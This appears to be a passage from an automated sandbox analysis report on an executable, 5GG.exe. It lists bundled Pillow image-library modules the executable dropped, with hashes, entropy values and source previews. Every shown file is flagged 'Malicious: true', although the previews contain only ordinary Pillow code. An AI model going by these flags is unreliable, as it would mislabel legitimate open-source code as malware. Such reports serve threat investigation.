SHA-256:	5DC9DA991FC2FF013DE2A554F6654285DC4F1932EC29F910CB2A99A615A6B876
SHA-512:	EC36F1A393C3342199FEDB8244D02D905B43F9BF39898EBD51D390C2F4E0B7E7EC5343E4DEC01F4BEE8F8E14FE11CE04C2C0CACDD731AD660F0B14697AA2450D
Malicious:	true
Preview:	#..# The Python Imaging Library..# $Id$..#..# Simple PostScript graphics interface..#..# History:..# 1996-04-20 fl Created..# 1999-01-10 fl Added gsave/grestore to image method..# 2005-05-04 fl Fixed floating point issue in image (from Eric Etheridge)..#..# Copyright (c) 1997-2005 by Secret Labs AB. All rights reserved...# Copyright (c) 1996 by Fredrik Lundh...#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import sys....from . import EpsImagePlugin....##..# Simple PostScript graphics interface.......class PSDraw:.. """.. Sets up printing to the given file. If ``fp`` is omitted,.. ``sys.stdout.buffer`` or ``sys.stdout`` is assumed... """.... def __init__(self, fp=None):.. if not fp:.. try:.. fp = sys.stdout.buffer.. except AttributeError:.. fp = sys.stdout.. self.fp = fp.... def begin_document(self, id=None):.. """Set up print

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\PaletteFile.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1215
Entropy (8bit):	4.404991813767296
Encrypted:	false
SSDEEP:	24:ngqu1bcLBwwbrTbkuNRjrVBSTAEfRL5fkSABXD5RGlI6ddXu03X:gqGcT/bkQRjhETl5lkSaXDLf6rXu03X
MD5:	4647882BFC1581845F9243264E40D01B
SHA1:	7EB086E213F520B143A2AE503BF7DCCC942E81B5
SHA-256:	9D3939C978E78277B9E6A440B1393C4886DB5A8AC4FE58F0FFDA8067CA2B0959
SHA-512:	9E7E18EA086D551BC1FAA59A2DFBB9E0446B4F61AD28D57DF93191549AE46EE25BA37377EE9E50AF6F057E98247DFBFE4390225B86962093089FC0AEDAA96B30
Malicious:	true
Preview:	#..# Python Imaging Library..# $Id$..#..# stuff to read simple, teragon-style palette files..#..# History:..# 97-08-23 fl Created..#..# Copyright (c) Secret Labs AB 1997...# Copyright (c) Fredrik Lundh 1997...#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....from ._binary import o8......class PaletteFile:.. """File handler for Teragon-style palette files.""".... rawmode = "RGB".... def __init__(self, fp):.. self.palette = [(i, i, i) for i in range(256)].... while True:.. s = fp.readline().... if not s:.. break.. if s[:1] == b"#":.. continue.. if len(s) > 100:.. msg = "bad palette file".. raise SyntaxError(msg).... v = [int(x) for x in s.split()].. try:.. [i, r, g, b] = v.. except ValueError:.. [i, r] = v.. g = b =

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\PalmImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	9405
Entropy (8bit):	4.456002776458487
Encrypted:	false
SSDEEP:	96:RjnHZtUthIHDeIJfuDPAnCVPH5x2nHQ9zCEALwQK/vSgqgcuGTEdIMubFlTBtni/:2hVPHxBigXcuKE6MubFpB48IsNtyks
MD5:	3D095E4DF562DD7D56154B5106A330F1
SHA1:	1ED298FD4F60D93381A23E9FA64A8E51880F99AE
SHA-256:	6283297A2F8261E79911D1882253E46887895701397314982DD1E1A4BC643949
SHA-512:	104E27AE6F54740A27C2221A09D3B3D22F36BDF7A7F7CFD10FFD203751F38E8A5707C50FDCA9F23BE70340A1864BE36C0811ED0584F5747C93EAE8DD36CD1CC7
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#....##..# Image plugin for Palm pixmap images (output only)...##..from __future__ import annotations....from . import Image, ImageFile..from ._binary import o8..from ._binary import o16be as o16b....# fmt: off.._Palm8BitColormapValues = (.. (255, 255, 255), (255, 204, 255), (255, 153, 255), (255, 102, 255),.. (255, 51, 255), (255, 0, 255), (255, 255, 204), (255, 204, 204),.. (255, 153, 204), (255, 102, 204), (255, 51, 204), (255, 0, 204),.. (255, 255, 153), (255, 204, 153), (255, 153, 153), (255, 102, 153),.. (255, 51, 153), (255, 0, 153), (204, 255, 255), (204, 204, 255),.. (204, 153, 255), (204, 102, 255), (204, 51, 255), (204, 0, 255),.. (204, 255, 204), (204, 204, 204), (204, 153, 204), (204, 102, 204),.. (204, 51, 204), (204, 0, 204), (204, 255, 153), (204, 204, 153),.. (204, 153, 153), (204, 102, 153), (204, 51, 153), (204, 0, 153),.. (153, 255, 255), (153, 204, 255), (153, 153, 255), (153,

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\PcdImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1593
Entropy (8bit):	4.824865358485789
Encrypted:	false
SSDEEP:	48:RqKoVLAoobkQRjPfPiwI8IYTVJ3bele+wzpw2C:Rj0LAPZ/tpTV5yvwzpw2C
MD5:	859B2D7C731C3EFE3FCD8FE17B79E8FC
SHA1:	112AA82A0E3A0CE88787D04C46CC76101EC37912
SHA-256:	8163252E0A87DE94B6173DA947577A4B26C58EC404733325C4E3CBEFF180F3E8
SHA-512:	6961A377BE56B60BD4C32354D415824708C803193FF4F6D57DB6FE915D6E2EC9F80935834FB9152379772566802F4763E8E20C9217F0E2AC4A0F58D69BB07F71
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# PCD file handling..#..# History:..# 96-05-10 fl Created..# 96-05-27 fl Added draft mode (128x192, 256x384)..#..# Copyright (c) Secret Labs AB 1997...# Copyright (c) Fredrik Lundh 1996...#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....from . import Image, ImageFile....##..# Image plugin for PhotoCD images. This plugin only reads the 768x512..# image from the file; higher resolutions are encoded in a proprietary..# encoding.......class PcdImageFile(ImageFile.ImageFile):.. format = "PCD".. format_description = "Kodak PhotoCD".... def _open(self):.. # rough.. self.fp.seek(2048).. s = self.fp.read(2048).... if s[:4] != b"PCD_":.. msg = "not a PCD file".. raise SyntaxError(msg).... orientation = s[1538] & 3.. self.tile_post_rotate = None.. if orientation == 1:.. self.tile_

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\PcfFontFile.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7401
Entropy (8bit):	4.6364492985458545
Encrypted:	false
SSDEEP:	96:wxCNkq/YNOCmpR4a5KgeAVcNixERMkR0RdSN9w+mRAVMo5t2BRbRLRmxfRORKvbB:8/e2M0N9w+mRAVP2EbLhP
MD5:	01849AA46DC104325CA4D0DF67BD7437
SHA1:	2A200E90772C328C9AFB0282DE24EF334862F8E5
SHA-256:	464339C14A774A0469421A6C4C112D93CBAE16B40F9C149806BC8E99CA11A614
SHA-512:	C9976CEADC660E2670BF51EAA1F98DC618269C7964A35EB6448422097D03DD22717FD2678EA928B912FF0A9B840639948EB0CF4D36108856DC1E735F7B584629
Malicious:	true
Preview:	#..# THIS IS WORK IN PROGRESS..#..# The Python Imaging Library..# $Id$..#..# portable compiled font file parser..#..# history:..# 1997-08-19 fl created..# 2003-09-13 fl fixed loading of unicode fonts..#..# Copyright (c) 1997-2003 by Secret Labs AB...# Copyright (c) 1997-2003 by Fredrik Lundh...#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import io..from typing import BinaryIO, Callable....from . import FontFile, Image..from ._binary import i8..from ._binary import i16be as b16..from ._binary import i16le as l16..from ._binary import i32be as b32..from ._binary import i32le as l32....# --------------------------------------------------------------------..# declarations....PCF_MAGIC = 0x70636601 # "\x01fcp"....PCF_PROPERTIES = 1 << 0..PCF_ACCELERATORS = 1 << 1..PCF_METRICS = 1 << 2..PCF_BITMAPS = 1 << 3..PCF_INK_METRICS = 1 << 4..PCF_BDF_ENCODINGS = 1 << 5..PCF_SWIDTHS = 1 << 6..PCF_GLYPH_NAMES = 1 << 7..PCF_BDF_ACCE

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\PcxImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6279
Entropy (8bit):	4.786163559255714
Encrypted:	false
SSDEEP:	96:Rjo/oc0HFeUDpHFF+R8TRiv0MDm6QXvrok99vCLDqBcWWQlsYR/vkkz1JYl+Ogzz:O/SlVWTSbXv0kvCLQwmh/z06dtkhiH
MD5:	0892C4D00E019E101DA21FE41ED96B5B
SHA1:	9F520475E30576665C0F5506ED9763AEA7E52E92
SHA-256:	7920F5AB8A8256E89EC006FF7439B5D46E347689617B24ECE1642F5C430D2EF0
SHA-512:	05AA3A3C9D0FDC238677AF9BBFA9898C15563E2D7F85DF53CF2581B9F919F8BCE2147A1796F72488F2AB12BEBB28B99E52737638D2AA23D11F70E1E78382B38A
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# PCX file handling..#..# This format was originally used by ZSoft's popular PaintBrush..# program for the IBM PC. It is also supported by many MS-DOS and..# Windows applications, including the Windows PaintBrush program in..# Windows 3...#..# history:..# 1995-09-01 fl Created..# 1996-05-20 fl Fixed RGB support..# 1997-01-03 fl Fixed 2-bit and 4-bit support..# 1999-02-03 fl Fixed 8-bit support (broken in 1.0b1)..# 1999-02-07 fl Added write support..# 2002-06-09 fl Made 2-bit and 4-bit support a bit more robust..# 2002-07-30 fl Seek from to current position, not beginning of file..# 2003-06-03 fl Extract DPI settings (info["dpi"])..#..# Copyright (c) 1997-2003 by Secret Labs AB...# Copyright (c) 1995-2003 by Fredrik Lundh...#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import io..import logging....from . import Image, ImageFile, ImagePalette..from ._binary impo

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\PdfImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	9144
Entropy (8bit):	4.68555247941799
Encrypted:	false
SSDEEP:	192:FDUlHGwmd4Aa/0LYs7LDIDe0lUuPKzWNcLrqkN:FDUJkiAa/0Ms7LDIf7cJ
MD5:	953017F21923D1C31F74DF85E645BBA6
SHA1:	F905423B774D3599FB74C0DAB78FDA0972CBEFA9
SHA-256:	0AB7ECB38D83BAB5317688B9E17C0B8A965DB5D33E132270FFE17DBD45644849
SHA-512:	394BF8E4A996375228638C55D8549963121D56085030A4E8F7E1785764D453E8D2CD31406C51B1D735E728C411199C9C7188510338649182B7BE5A0D6DECB186
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# PDF (Acrobat) file handling..#..# History:..# 1996-07-16 fl Created..# 1997-01-18 fl Fixed header..# 2004-02-21 fl Fixes for 1/L/CMYK images, etc...# 2004-02-24 fl Fixes for 1 and P images...#..# Copyright (c) 1997-2004 by Secret Labs AB. All rights reserved...# Copyright (c) 1996-1997 by Fredrik Lundh...#..# See the README file for information on usage and redistribution...#....##..# Image plugin for PDF images (output only)...##..from __future__ import annotations....import io..import math..import os..import time....from . import Image, ImageFile, ImageSequence, PdfParser, __version__, features....#..# --------------------------------------------------------------------....# object ids:..# 1. catalogue..# 2. pages..# 3. image..# 4. page..# 5. page contents......def _save_all(im, fp, filename):.. _save(im, fp, filename, save_all=True)......##..# (Internal) Image save plugin for the PDF format.......def _write_image(im, fi

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\PdfParser.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	35481
Entropy (8bit):	4.485844336972127
Encrypted:	false
SSDEEP:	384:wmUPCBhJMwwE/9XG1qyb1vfKpms9gIV0riBHSPSQ90riWuizBfGRsbUuv7w927:wmUKbwAXGNfKpmj9yiHidffzvP
MD5:	F6881A5DB04D6D764758E08E2D8DA0C4
SHA1:	C2ACB7D25947C0B1D83229C659DC022D02E2A98F
SHA-256:	FC5C71F30959EFDB5829EDBDC14DE50A3D760826EDEAAB81AF09F761F0241BC8
SHA-512:	EC0DC1459EDF9F27F8FFB22B39C32D408B0E983A0B9D5E0AABF4BB79F38033050CA40CC27673BCDCBADDE7187F4DEC24D38A383285332E48D02D07857EA1D0E2
Malicious:	true
Preview:	from __future__ import annotations....import calendar..import codecs..import collections..import mmap..import os..import re..import time..import zlib......# see 7.9.2.2 Text String Type on page 86 and D.3 PDFDocEncoding Character Set..# on page 656..def encode_text(s):.. return codecs.BOM_UTF16_BE + s.encode("utf_16_be")......PDFDocEncoding = {.. 0x16: "\u0017",.. 0x18: "\u02D8",.. 0x19: "\u02C7",.. 0x1A: "\u02C6",.. 0x1B: "\u02D9",.. 0x1C: "\u02DD",.. 0x1D: "\u02DB",.. 0x1E: "\u02DA",.. 0x1F: "\u02DC",.. 0x80: "\u2022",.. 0x81: "\u2020",.. 0x82: "\u2021",.. 0x83: "\u2026",.. 0x84: "\u2014",.. 0x85: "\u2013",.. 0x86: "\u0192",.. 0x87: "\u2044",.. 0x88: "\u2039",.. 0x89: "\u203A",.. 0x8A: "\u2212",.. 0x8B: "\u2030",.. 0x8C: "\u201E",.. 0x8D: "\u201C",.. 0x8E: "\u201D",.. 0x8F: "\u2018",.. 0x90: "\u2019",.. 0x91: "\u201A",.. 0x92: "\u2122",.. 0x93: "\uFB01",.. 0x94: "\uFB02",.. 0x95: "\u0141",

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\PixarImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1757
Entropy (8bit):	4.9527685737440486
Encrypted:	false
SSDEEP:	48:RqKWIL5B/bkQRjP1/Tp6he4FIDs0aqVIXZaXtHVwWbtpwf5:RjWar3ZtrpyeUSIXcXtHVwWJpwf5
MD5:	352A77164481F9FD02BC00CBBC3BEAF8
SHA1:	7FEF94D7FFD78725AD96F26E6CDAB0C322BF2FED
SHA-256:	38CF3DF4F7E3743FE0956BB72FA06FF3B89BF65821640C20C75E703F2BF0E46F
SHA-512:	B31EBCF36D86EB4CF3531FB0A3124279DE6A50838066A48FFABA3084B7EAFA5CA6EE595692594F8E31E1B19B7488E34A578C2A59848E59B14F8A4030D597135E
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# PIXAR raster support for PIL..#..# history:..# 97-01-29 fl Created..#..# notes:..# This is incomplete; it is based on a few samples created with..# Photoshop 2.5 and 3.0, and a summary description provided by..# Greg Coats <gcoats@labiris.er.usgs.gov>. Hopefully, "L" and..# "RGBA" support will be added in future versions...#..# Copyright (c) Secret Labs AB 1997...# Copyright (c) Fredrik Lundh 1997...#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....from . import Image, ImageFile..from ._binary import i16le as i16....#..# helpers......def _accept(prefix):.. return prefix[:4] == b"\200\350\000\000"......##..# Image plugin for PIXAR raster images.......class PixarImageFile(ImageFile.ImageFile):.. format = "PIXAR".. format_description = "PIXAR raster image".... def _open(self):.. # assuming a 4-byte magic label.. s = self.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\PngImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	47941
Entropy (8bit):	4.574151976701582
Encrypted:	false
SSDEEP:	768:PCIGd6Pc36K8nJFvPvOK31vlH5N2KVgSmgcp:PCNc805B5NvgRgcp
MD5:	F5505A3AC37D07204A17E1BDA705E86E
SHA1:	3A7184325E4D304ED468CD1938FBE438C93DB517
SHA-256:	6BD2C8AE1153C4108E6377D86A78579B62DD4C174435978AF7C58B7B60346AF2
SHA-512:	C2AF2B496931D7F4F8A7C58F2CDF43AE36FB9E3EE6EA7D49C244270FB2BE43D2DC4E8253B1AFBA6F918C22F1231A89ED0F9512E6EE81426871751F0BA91C633E
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# PNG support code..#..# See "PNG (Portable Network Graphics) Specification, version 1.0;..# W3C Recommendation", 1996-10-01, Thomas Boutell (ed.)...#..# history:..# 1996-05-06 fl Created (couldn't resist it)..# 1996-12-14 fl Upgraded, added read and verify support (0.2)..# 1996-12-15 fl Separate PNG stream parser..# 1996-12-29 fl Added write support, added getchunks..# 1996-12-30 fl Eliminated circular references in decoder (0.3)..# 1998-07-12 fl Read/write 16-bit images as mode I (0.4)..# 2001-02-08 fl Added transparency support (from Zircon) (0.5)..# 2001-04-16 fl Don't close data source in "open" method (0.6)..# 2004-02-24 fl Don't even pretend to support interlaced files (0.7)..# 2004-08-31 fl Do basic sanity check on chunk identifiers (0.8)..# 2004-09-20 fl Added PngInfo chunk container..# 2004-12-18 fl Added DPI read support (based on code by Niki Spahiev)..# 2008-08-13 fl Added tRNS support for RGB images..#

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\PpmImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	11703
Entropy (8bit):	4.442705073172038
Encrypted:	false
SSDEEP:	192:YC93xlGMWYjb5atg01n/4vVsIgO/sDMFu4VjHqPGyvyc3hnYF1QUtA:F5WYjb5at5nAGIeDMFtVGPpvz3V
MD5:	A93A31EBBA1041926E221E4A77F1966E
SHA1:	F2737504E9133A0098550D7FB684218E7FC9AA1D
SHA-256:	C502ECCE8F0BE7A7AD99BE6766B0CB1286749DACCB163748820C5DD68AC3529E
SHA-512:	53C3EBC7FA82ED13A69E996B2E0AAEB934336C311785AAA0B555AC33311FD792BF9BE75D3989D0C66E5A12D31F7A1BCAFFE3269B1C13F3A898533E0EE6CFFB45
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# PPM support for PIL..#..# History:..# 96-03-24 fl Created..# 98-03-06 fl Write RGBA images (as RGB, that is)..#..# Copyright (c) Secret Labs AB 1997-98...# Copyright (c) Fredrik Lundh 1996...#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....from . import Image, ImageFile..from ._binary import i16be as i16..from ._binary import o8..from ._binary import o32le as o32....#..# --------------------------------------------------------------------....b_whitespace = b"\x20\x09\x0a\x0b\x0c\x0d"....MODES = {.. # standard.. b"P1": "1",.. b"P2": "L",.. b"P3": "RGB",.. b"P4": "1",.. b"P5": "L",.. b"P6": "RGB",.. # extensions.. b"P0CMYK": "CMYK",.. # PIL extensions (for test purposes only).. b"PyP": "P",.. b"PyRGBA": "RGBA",.. b"PyCMYK": "CMYK",..}......def _accept(prefix):.. return prefix[0:1] == b"P" and prefix[1] in b"0123456y"..

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\PsdImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	8004
Entropy (8bit):	4.477493327867077
Encrypted:	false
SSDEEP:	96:RxCtkVQQFOCDUGjC/bTn9pyzneeWqTERP3WM7SNYrz4GXj26ruBa5JGSLZWrCxwV:OtkRCDTP6yNXSiXj/WinLZtmtKs
MD5:	84065C569BAB08C3404313B4F03AE42F
SHA1:	27644C01E84247D0FFE175880EEC5FA5840540C5
SHA-256:	C7EFCC89D6211F8F97C97B36A22360FC48581114AC20E9D45F8FD86A8878A37D
SHA-512:	42815B3279F1A1021C25010511240817A57F48EBB7B5E3B341FA9046481888E90F874545EC6CCB7670A0BAE551179091F28B6BA9714B344E8752E5FF58AE967F
Malicious:	true
Preview:	#..# The Python Imaging Library..# $Id$..#..# Adobe PSD 2.5/3.0 file handling..#..# History:..# 1995-09-01 fl Created..# 1997-01-03 fl Read most PSD images..# 1997-01-18 fl Fixed P and CMYK support..# 2001-10-21 fl Added seek/tell support (for layers)..#..# Copyright (c) 1997-2001 by Secret Labs AB...# Copyright (c) 1995-2001 by Fredrik Lundh..#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import io....from . import Image, ImageFile, ImagePalette..from ._binary import i8..from ._binary import i16be as i16..from ._binary import i32be as i32..from ._binary import si16be as si16....MODES = {.. # (photoshop mode, bits) -> (pil mode, required channels).. (0, 1): ("1", 1),.. (0, 8): ("L", 1),.. (1, 8): ("L", 1),.. (2, 8): ("P", 1),.. (3, 8): ("RGB", 3),.. (4, 8): ("CMYK", 4),.. (7, 8): ("L", 1), # FIXME: multilayer.. (8, 8): ("L", 1), # duotone.. (9, 8): ("LAB", 3),..}......# ------------

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\PyAccess.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	10273
Entropy (8bit):	4.759792067066794
Encrypted:	false
SSDEEP:	192:EwHJ7boYe54rsprs6wmY6ZhtmftOimCz4mpyACKtc:nHJ7bocgFxWSC2
MD5:	975DCA0E3BE82318D5C1B2B2B96D51E7
SHA1:	46E54ACF06CBF32FAD0B599A376CD87CF8EFD43A
SHA-256:	AD919771DA50B39C3310F08A43995EC480EE5CD6E115C3F5054D481FCBE5512B
SHA-512:	2D02CDF8048130BB4095FBED961BB380E0F39484DE3BF1DFAEF111E02D7C9EA41199CEFEF43E17BFB428E1941B11A1C5D5A44641BFE8C6FE0E677BB7736479B5
Malicious:	true
Preview:	#..# The Python Imaging Library..# Pillow fork..#..# Python implementation of the PixelAccess Object..#..# Copyright (c) 1997-2009 by Secret Labs AB. All rights reserved...# Copyright (c) 1995-2009 by Fredrik Lundh...# Copyright (c) 2013 Eric Soroos..#..# See the README file for information on usage and redistribution..#....# Notes:..#..# * Implements the pixel access object following Access.c..# * Taking only the tuple form, which is used from python...# * Fill.c uses the integer form, but it's still going to use the old..# Access.c implementation...#..from __future__ import annotations....import logging..import sys....from ._deprecate import deprecate....try:.. from cffi import FFI.... defs = """.. struct Pixel_RGBA {.. unsigned char r,g,b,a;.. };.. struct Pixel_I16 {.. unsigned char l,r;.. };.. """.. ffi = FFI().. ffi.cdef(defs)..except ImportError as ex:.. # Allow error import for doc purposes, but error out when accessing..

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\QoiImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3776
Entropy (8bit):	4.477390538409042
Encrypted:	false
SSDEEP:	96:RACtUfpyNTGaf3TxnTM0Uinbqg+0wqAGeCwDyCwhHwI/i:yuTGaf3TxjUimg+eAGe/EhQz
MD5:	2E95E758A6B74DB0CF6E9F54EDCE0C53
SHA1:	902A703AFDB3F909ED4D7A2D13FA99645F5F7BC6
SHA-256:	1D6D06EBF59F0282E55B619ADAF4B3486DADCDF668478B72F029C442924DD708
SHA-512:	E8F5DF0A31E2D81E824DA75578D6587EDF506A838506D8ED62831C1BB11F9B04AFB6ED9F3367A524B6102E413278C634CF61685CACD109DFCBFF6B9A4C6AF69C
Malicious:	true
Preview:	#..# The Python Imaging Library...#..# QOI support for PIL..#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import os....from . import Image, ImageFile..from ._binary import i32be as i32..from ._binary import o8......def _accept(prefix):.. return prefix[:4] == b"qoif"......class QoiImageFile(ImageFile.ImageFile):.. format = "QOI".. format_description = "Quite OK Image".... def _open(self):.. if not _accept(self.fp.read(4)):.. msg = "not a QOI file".. raise SyntaxError(msg).... self._size = tuple(i32(self.fp.read(4)) for i in range(2)).... channels = self.fp.read(1)[0].. self._mode = "RGB" if channels == 3 else "RGBA".... self.fp.seek(1, os.SEEK_CUR) # colorspace.. self.tile = [("qoi", (0, 0) + self._size, self.fp.tell(), None)]......class QoiDecoder(ImageFile.PyDecoder):.. _pulls_fd = True.... def _add_to_previous_pixels(self, value):..

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\SgiImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6415
Entropy (8bit):	4.767281236350476
Encrypted:	false
SSDEEP:	96:RjhIyhtCDfpG8q1h89KJi9PzBEswGDVMvv+sMw2cZrFnAKoMWHTcWEYlWTPnVtwg:n8G8mhqhX+lvTPVqZQISlOi
MD5:	08E4D6FFC16C210D42CA391E072E718C
SHA1:	75BC3A34D692D033A726437615E4BAD41F98C7C3
SHA-256:	571D6FCABA64FE1D52F5E114E9C7DDD4EBD147BA110ABE08C21B50C17D767D6F
SHA-512:	31E221ADC56C6F21CB1AB2663260A551CD5D6628BD821A448EB502532503845B7724EF25281478044E1F4DCDC41F04D8CD180A0F31EAF224286002C62977455D
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# SGI image file handling..#..# See "The SGI Image File Format (Draft version 0.97)", Paul Haeberli...# <ftp://ftp.sgi.com/graphics/SGIIMAGESPEC>..#..#..# History:..# 2017-22-07 mb Add RLE decompression..# 2016-16-10 mb Add save method without compression..# 1995-09-10 fl Created..#..# Copyright (c) 2016 by Mickael Bonfill...# Copyright (c) 2008 by Karsten Hiddemann...# Copyright (c) 1997 by Secret Labs AB...# Copyright (c) 1995 by Fredrik Lundh...#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....import os..import struct....from . import Image, ImageFile..from ._binary import i16be as i16..from ._binary import o8......def _accept(prefix):.. return len(prefix) >= 2 and i16(prefix) == 474......MODES = {.. (1, 1, 1): "L",.. (1, 2, 1): "L",.. (2, 1, 1): "L;16B",.. (2, 2, 1): "L;16B",.. (1, 3, 3): "RGB",.. (2, 3, 3): "RGB;16B",.. (1, 3, 4): "RGBA",.. (2

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\SpiderImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	9785
Entropy (8bit):	4.683174514082637
Encrypted:	false
SSDEEP:	192:KRphv6wzD2wm1P56OcLEHZFULPKJLXy8+crzEEtf6oBd:KRphRap3cLEHniJY
MD5:	F8CF2A649EA68EE119061592AC6869F8
SHA1:	85BBF1AD19E8B44FCB6EA5A269881F1E0A0237C6
SHA-256:	5FDFC938D6F7E746F4A58F7C455F888A4F6E05BC6E2D608096D4BEB48A1AF338
SHA-512:	E46CBF2E589E75477AC1180A7A068E794A60136CCCBFBCCE37BBD850D1A0BE2A8DD052C43A7695BF3969E4B7873B2BE41A26952228A563930157980383732D6A
Malicious:	true
Preview:	#..# The Python Imaging Library...#..# SPIDER image file handling..#..# History:..# 2004-08-02 Created BB..# 2006-03-02 added save method..# 2006-03-13 added support for stack images..#..# Copyright (c) 2004 by Health Research Inc. (HRI) RENSSELAER, NY 12144...# Copyright (c) 2004 by William Baxter...# Copyright (c) 2004 by Secret Labs AB...# Copyright (c) 2004 by Fredrik Lundh...#....##..# Image plugin for the Spider image format. This format is used..# by the SPIDER software, in processing image data from electron..# microscopy and tomography...##....#..# SpiderImagePlugin.py..#..# The Spider image format is used by SPIDER software, in processing..# image data from electron microscopy and tomography...#..# Spider home page:..# https://spider.wadsworth.org/spider_doc/spider/docs/spider.html..#..# Details about the Spider image format:..# https://spider.wadsworth.org/spider_doc/spider/docs/image_doc.html..#..from __future__ import annotations....import os..import struct..impor

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\SunImagePlugin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	4579
Entropy (8bit):	4.604338263602583
Encrypted:	false
SSDEEP:	96:RjcSrCZFfp0zkh78e3QJwh0PZ4MGJzkaPmwAfFw6Npw7B:iB0ISu1k8Xt
MD5:	F2807E5C5B0C8A444753FC51E540B154
SHA1:	EDBE9B95DC006C51DEBE0A39D49FD9E18232B08E
SHA-256:	4E80A945B1ACF4895E6F6702D2D2BE5DAB5273C53C10712455E998E9B6184E6F
SHA-512:	E00BF76A63BAFE7F25E1D57A73538A7F7A0986A6E7023DE943E98A1F2A4E92B07BE985DB61F684567DFA1F08243F8FDF590D635B265115DC0D4260DA43CF0321
Malicious:	true
Preview:	#..# The Python Imaging Library...# $Id$..#..# Sun image file handling..#..# History:..# 1995-09-10 fl Created..# 1996-05-28 fl Fixed 32-bit alignment..# 1998-12-29 fl Import ImagePalette module..# 2001-12-18 fl Fixed palette loading (from Jean-Claude Rimbault)..#..# Copyright (c) 1997-2001 by Secret Labs AB..# Copyright (c) 1995-1996 by Fredrik Lundh..#..# See the README file for information on usage and redistribution...#..from __future__ import annotations....from . import Image, ImageFile, ImagePalette..from ._binary import i32be as i32......def _accept(prefix):.. return len(prefix) >= 4 and i32(prefix) == 0x59A66A95......##..# Image plugin for Sun raster files.......class SunImageFile(ImageFile.ImageFile):.. format = "SUN".. format_description = "Sun Raster File".... def _open(self):.. # The Sun Raster file header is 32 bytes in length.. # and has the following format:.... # typedef struct _SunRaster.. # {.. #

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\TarIO.py

